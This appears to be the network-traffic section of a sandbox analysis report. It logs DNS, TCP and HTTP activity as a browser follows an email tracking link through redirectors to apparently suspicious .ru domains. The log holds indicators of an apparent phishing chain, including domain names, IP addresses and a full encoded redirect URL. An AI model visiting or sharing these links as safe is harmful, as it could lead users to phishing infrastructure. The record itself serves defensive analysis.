Mar 7, 2025 10:16:46.867546082 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:16:52.693535089 CET	53686	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:16:52.698713064 CET	53	53686	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:52.698828936 CET	53686	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:16:52.703870058 CET	53	53686	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:53.180138111 CET	53686	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:16:53.185337067 CET	53	53686	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:53.185405016 CET	53686	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:17:01.334496975 CET	443	49790	172.67.134.191	192.168.2.5
Mar 7, 2025 10:17:01.334686041 CET	443	49790	172.67.134.191	192.168.2.5
Mar 7, 2025 10:17:01.334760904 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:17:02.334496021 CET	49790	443	192.168.2.5	172.67.134.191
Mar 7, 2025 10:17:02.334564924 CET	443	49790	172.67.134.191	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 10:14:04.182729006 CET	53	61630	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:04.193492889 CET	54934	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:04.193775892 CET	62564	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:04.207823038 CET	53	58591	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:04.231923103 CET	53	54934	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:04.241090059 CET	53	62564	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:05.697657108 CET	56117	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:05.697973967 CET	63155	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:05.721841097 CET	53	63155	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:05.734550953 CET	53	56117	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:08.405199051 CET	55552	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:08.405608892 CET	56908	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:08.412550926 CET	53	55552	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:08.412879944 CET	53	56908	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:08.942780972 CET	53	59788	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:09.346213102 CET	53844	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:09.353930950 CET	53	53844	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:09.424539089 CET	63002	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:09.424710989 CET	57169	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:09.431737900 CET	53	63002	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:09.432681084 CET	53	57169	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:12.002732038 CET	55965	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:12.003135920 CET	56339	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:12.043365955 CET	53	56339	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:12.048253059 CET	53	55965	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:15.048427105 CET	62295	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:15.048646927 CET	56116	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:15.063189030 CET	53	62295	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:15.110867023 CET	53	56116	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:19.667915106 CET	50570	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:19.668096066 CET	50436	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:19.668468952 CET	54439	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:19.668622017 CET	61002	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:19.669049025 CET	52765	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:19.669198036 CET	64858	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:19.675195932 CET	53	50570	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:19.675283909 CET	53	50436	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:19.675529003 CET	53	54439	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:19.675744057 CET	53	61002	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:19.675947905 CET	53	52765	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:19.676192045 CET	53	64858	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:23.334317923 CET	57032	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:23.334317923 CET	61828	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:23.341252089 CET	53	57032	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:23.341516972 CET	53	61828	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:23.434815884 CET	55948	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:23.434982061 CET	49821	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:23.442332983 CET	53	55948	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:23.442375898 CET	53	49821	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:25.928857088 CET	53	53887	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:26.310903072 CET	64245	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:26.311131954 CET	62104	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:26.318418980 CET	53	64245	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:26.318722963 CET	53	62104	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:26.350689888 CET	61571	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:26.350894928 CET	58729	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:26.358791113 CET	53	61571	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:26.359528065 CET	53	58729	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:30.465069056 CET	53957	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:30.465265989 CET	58496	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:14:30.472968102 CET	53	53957	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:30.473701954 CET	53	58496	1.1.1.1	192.168.2.5
Mar 7, 2025 10:14:44.632225990 CET	53	60590	1.1.1.1	192.168.2.5
Mar 7, 2025 10:15:03.727818012 CET	53	55985	1.1.1.1	192.168.2.5
Mar 7, 2025 10:15:07.257848024 CET	53	52129	1.1.1.1	192.168.2.5
Mar 7, 2025 10:15:36.851546049 CET	53	50075	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:23.337774038 CET	53	61952	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:34.984831095 CET	61636	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:16:34.984921932 CET	54130	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:16:35.000153065 CET	53	61636	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:35.074011087 CET	53	54130	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:38.469470024 CET	57927	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:16:38.469666004 CET	52430	53	192.168.2.5	1.1.1.1
Mar 7, 2025 10:16:38.482743025 CET	53	57927	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:38.603836060 CET	53	52430	1.1.1.1	192.168.2.5
Mar 7, 2025 10:16:52.693054914 CET	53	64772	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 7, 2025 10:14:15.110969067 CET	192.168.2.5	1.1.1.1	c278	(Port unreachable)	Destination Unreachable
Mar 7, 2025 10:16:35.074213982 CET	192.168.2.5	1.1.1.1	c2df	(Port unreachable)	Destination Unreachable
Mar 7, 2025 10:16:38.604063988 CET	192.168.2.5	1.1.1.1	c2df	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 7, 2025 10:14:04.193492889 CET	192.168.2.5	1.1.1.1	0x5ede	Standard query (0)	click.halaxy.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:04.193775892 CET	192.168.2.5	1.1.1.1	0x74df	Standard query (0)	click.halaxy.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:05.697657108 CET	192.168.2.5	1.1.1.1	0xf4eb	Standard query (0)	z379sz8.r.us-east-2.awstrack.me	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:05.697973967 CET	192.168.2.5	1.1.1.1	0x348b	Standard query (0)	z379sz8.r.us-east-2.awstrack.me	65	IN (0x0001)	false
Mar 7, 2025 10:14:08.405199051 CET	192.168.2.5	1.1.1.1	0x43cf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:08.405608892 CET	192.168.2.5	1.1.1.1	0x7443	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:09.346213102 CET	192.168.2.5	1.1.1.1	0x698d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:09.424539089 CET	192.168.2.5	1.1.1.1	0xe116	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:09.424710989 CET	192.168.2.5	1.1.1.1	0x6f7c	Standard query (0)	t.co	65	IN (0x0001)	false
Mar 7, 2025 10:14:12.002732038 CET	192.168.2.5	1.1.1.1	0x7d17	Standard query (0)	link.pr.clinicsense.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:12.003135920 CET	192.168.2.5	1.1.1.1	0xd98f	Standard query (0)	link.pr.clinicsense.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:15.048427105 CET	192.168.2.5	1.1.1.1	0x734d	Standard query (0)	as.krxlexm.ru	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:15.048646927 CET	192.168.2.5	1.1.1.1	0x9bad	Standard query (0)	as.krxlexm.ru	65	IN (0x0001)	false
Mar 7, 2025 10:14:19.667915106 CET	192.168.2.5	1.1.1.1	0x6ffc	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.668096066 CET	192.168.2.5	1.1.1.1	0xba3	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:19.668468952 CET	192.168.2.5	1.1.1.1	0x94b1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.668622017 CET	192.168.2.5	1.1.1.1	0x2ef9	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:19.669049025 CET	192.168.2.5	1.1.1.1	0x3ca4	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.669198036 CET	192.168.2.5	1.1.1.1	0xd09	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:23.334317923 CET	192.168.2.5	1.1.1.1	0x7a8f	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:23.334317923 CET	192.168.2.5	1.1.1.1	0xd8d1	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.434815884 CET	192.168.2.5	1.1.1.1	0xe351	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.434982061 CET	192.168.2.5	1.1.1.1	0x15ab	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:26.310903072 CET	192.168.2.5	1.1.1.1	0x6ddc	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.311131954 CET	192.168.2.5	1.1.1.1	0x3320	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:26.350689888 CET	192.168.2.5	1.1.1.1	0x1b6d	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.350894928 CET	192.168.2.5	1.1.1.1	0x9701	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 7, 2025 10:14:30.465069056 CET	192.168.2.5	1.1.1.1	0xb96	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:30.465265989 CET	192.168.2.5	1.1.1.1	0xf47f	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 7, 2025 10:16:34.984831095 CET	192.168.2.5	1.1.1.1	0xd712	Standard query (0)	kxig5z.zvaznx.ru	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:34.984921932 CET	192.168.2.5	1.1.1.1	0x1a54	Standard query (0)	kxig5z.zvaznx.ru	65	IN (0x0001)	false
Mar 7, 2025 10:16:38.469470024 CET	192.168.2.5	1.1.1.1	0xa4c0	Standard query (0)	kxig5z.zvaznx.ru	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.469666004 CET	192.168.2.5	1.1.1.1	0x8e14	Standard query (0)	kxig5z.zvaznx.ru	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 7, 2025 10:14:04.231923103 CET	1.1.1.1	192.168.2.5	0x5ede	No error (0)	click.halaxy.com	mandrillapp.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:04.231923103 CET	1.1.1.1	192.168.2.5	0x5ede	No error (0)	mandrillapp.com		15.197.175.4	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:04.231923103 CET	1.1.1.1	192.168.2.5	0x5ede	No error (0)	mandrillapp.com		76.223.125.47	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:04.241090059 CET	1.1.1.1	192.168.2.5	0x74df	No error (0)	click.halaxy.com	mandrillapp.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:05.721841097 CET	1.1.1.1	192.168.2.5	0x348b	No error (0)	z379sz8.r.us-east-2.awstrack.me	r.us-east-2.awstrack.me		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:05.721841097 CET	1.1.1.1	192.168.2.5	0x348b	No error (0)	r.us-east-2.awstrack.me	baconredirects-elb-sypa0x84r8j3-1073643584.us-east-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:05.734550953 CET	1.1.1.1	192.168.2.5	0xf4eb	No error (0)	z379sz8.r.us-east-2.awstrack.me	r.us-east-2.awstrack.me		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:05.734550953 CET	1.1.1.1	192.168.2.5	0xf4eb	No error (0)	r.us-east-2.awstrack.me	baconredirects-elb-sypa0x84r8j3-1073643584.us-east-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:05.734550953 CET	1.1.1.1	192.168.2.5	0xf4eb	No error (0)	baconredirects-elb-sypa0x84r8j3-1073643584.us-east-2.elb.amazonaws.com		13.58.118.141	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:05.734550953 CET	1.1.1.1	192.168.2.5	0xf4eb	No error (0)	baconredirects-elb-sypa0x84r8j3-1073643584.us-east-2.elb.amazonaws.com		18.190.43.141	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:05.734550953 CET	1.1.1.1	192.168.2.5	0xf4eb	No error (0)	baconredirects-elb-sypa0x84r8j3-1073643584.us-east-2.elb.amazonaws.com		3.12.67.130	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:08.412550926 CET	1.1.1.1	192.168.2.5	0x43cf	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:08.412879944 CET	1.1.1.1	192.168.2.5	0x7443	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 7, 2025 10:14:09.353930950 CET	1.1.1.1	192.168.2.5	0x698d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:09.353930950 CET	1.1.1.1	192.168.2.5	0x698d	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 10:14:09.353930950 CET	1.1.1.1	192.168.2.5	0x698d	No error (0)	e8652.dscx.akamaiedge.net		2.19.105.127	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:09.431737900 CET	1.1.1.1	192.168.2.5	0xe116	No error (0)	t.co		172.66.0.227	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:10.054203033 CET	1.1.1.1	192.168.2.5	0xc6b0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:10.054203033 CET	1.1.1.1	192.168.2.5	0xc6b0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:12.048253059 CET	1.1.1.1	192.168.2.5	0x7d17	No error (0)	link.pr.clinicsense.com		3.167.227.11	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:12.048253059 CET	1.1.1.1	192.168.2.5	0x7d17	No error (0)	link.pr.clinicsense.com		3.167.227.44	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:12.048253059 CET	1.1.1.1	192.168.2.5	0x7d17	No error (0)	link.pr.clinicsense.com		3.167.227.107	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:12.048253059 CET	1.1.1.1	192.168.2.5	0x7d17	No error (0)	link.pr.clinicsense.com		3.167.227.12	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:15.063189030 CET	1.1.1.1	192.168.2.5	0x734d	No error (0)	as.krxlexm.ru		172.67.134.191	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:15.063189030 CET	1.1.1.1	192.168.2.5	0x734d	No error (0)	as.krxlexm.ru		104.21.6.110	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:15.110867023 CET	1.1.1.1	192.168.2.5	0x9bad	No error (0)	as.krxlexm.ru			65	IN (0x0001)	false
Mar 7, 2025 10:14:19.675195932 CET	1.1.1.1	192.168.2.5	0x6ffc	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.675195932 CET	1.1.1.1	192.168.2.5	0x6ffc	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.675195932 CET	1.1.1.1	192.168.2.5	0x6ffc	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.675195932 CET	1.1.1.1	192.168.2.5	0x6ffc	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.675529003 CET	1.1.1.1	192.168.2.5	0x94b1	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.675529003 CET	1.1.1.1	192.168.2.5	0x94b1	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.675744057 CET	1.1.1.1	192.168.2.5	0x2ef9	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 7, 2025 10:14:19.675947905 CET	1.1.1.1	192.168.2.5	0x3ca4	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.675947905 CET	1.1.1.1	192.168.2.5	0x3ca4	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:19.676192045 CET	1.1.1.1	192.168.2.5	0xd09	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 7, 2025 10:14:23.341516972 CET	1.1.1.1	192.168.2.5	0xd8d1	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.341516972 CET	1.1.1.1	192.168.2.5	0xd8d1	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.341516972 CET	1.1.1.1	192.168.2.5	0xd8d1	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.341516972 CET	1.1.1.1	192.168.2.5	0xd8d1	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.442332983 CET	1.1.1.1	192.168.2.5	0xe351	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.442332983 CET	1.1.1.1	192.168.2.5	0xe351	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:23.442375898 CET	1.1.1.1	192.168.2.5	0x15ab	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 7, 2025 10:14:26.318418980 CET	1.1.1.1	192.168.2.5	0x6ddc	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.318418980 CET	1.1.1.1	192.168.2.5	0x6ddc	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.318722963 CET	1.1.1.1	192.168.2.5	0x3320	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 7, 2025 10:14:26.358791113 CET	1.1.1.1	192.168.2.5	0x1b6d	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.358791113 CET	1.1.1.1	192.168.2.5	0x1b6d	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.358791113 CET	1.1.1.1	192.168.2.5	0x1b6d	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.358791113 CET	1.1.1.1	192.168.2.5	0x1b6d	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.358791113 CET	1.1.1.1	192.168.2.5	0x1b6d	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:26.359528065 CET	1.1.1.1	192.168.2.5	0x9701	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 7, 2025 10:14:30.472968102 CET	1.1.1.1	192.168.2.5	0xb96	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:30.472968102 CET	1.1.1.1	192.168.2.5	0xb96	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:30.472968102 CET	1.1.1.1	192.168.2.5	0xb96	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:30.472968102 CET	1.1.1.1	192.168.2.5	0xb96	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:30.472968102 CET	1.1.1.1	192.168.2.5	0xb96	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:14:30.473701954 CET	1.1.1.1	192.168.2.5	0xf47f	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 7, 2025 10:16:35.000153065 CET	1.1.1.1	192.168.2.5	0xd712	No error (0)	kxig5z.zvaznx.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:35.000153065 CET	1.1.1.1	192.168.2.5	0xd712	No error (0)	kxig5z.zvaznx.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:35.000153065 CET	1.1.1.1	192.168.2.5	0xd712	No error (0)	kxig5z.zvaznx.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:35.000153065 CET	1.1.1.1	192.168.2.5	0xd712	No error (0)	kxig5z.zvaznx.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:35.000153065 CET	1.1.1.1	192.168.2.5	0xd712	No error (0)	kxig5z.zvaznx.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:35.000153065 CET	1.1.1.1	192.168.2.5	0xd712	No error (0)	kxig5z.zvaznx.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:35.000153065 CET	1.1.1.1	192.168.2.5	0xd712	No error (0)	kxig5z.zvaznx.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:35.074011087 CET	1.1.1.1	192.168.2.5	0x1a54	No error (0)	kxig5z.zvaznx.ru			65	IN (0x0001)	false
Mar 7, 2025 10:16:38.482743025 CET	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	kxig5z.zvaznx.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.482743025 CET	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	kxig5z.zvaznx.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.482743025 CET	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	kxig5z.zvaznx.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.482743025 CET	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	kxig5z.zvaznx.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.482743025 CET	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	kxig5z.zvaznx.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.482743025 CET	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	kxig5z.zvaznx.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.482743025 CET	1.1.1.1	192.168.2.5	0xa4c0	No error (0)	kxig5z.zvaznx.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 10:16:38.603836060 CET	1.1.1.1	192.168.2.5	0x8e14	No error (0)	kxig5z.zvaznx.ru			65	IN (0x0001)	false

HTTP Request Dependency Graph

z379sz8.r.us-east-2.awstrack.me

t.co

https:

link.pr.clinicsense.com

as.krxlexm.ru

challenges.cloudflare.com

code.jquery.com

cdnjs.cloudflare.com

developers.cloudflare.com

kxig5z.zvaznx.ru

click.halaxy.com

x1.i.lencr.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	15.197.175.4	80	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 10:14:04.251925945 CET	988	OUT	GET /track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ HTTP/1.1 Host: click.halaxy.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
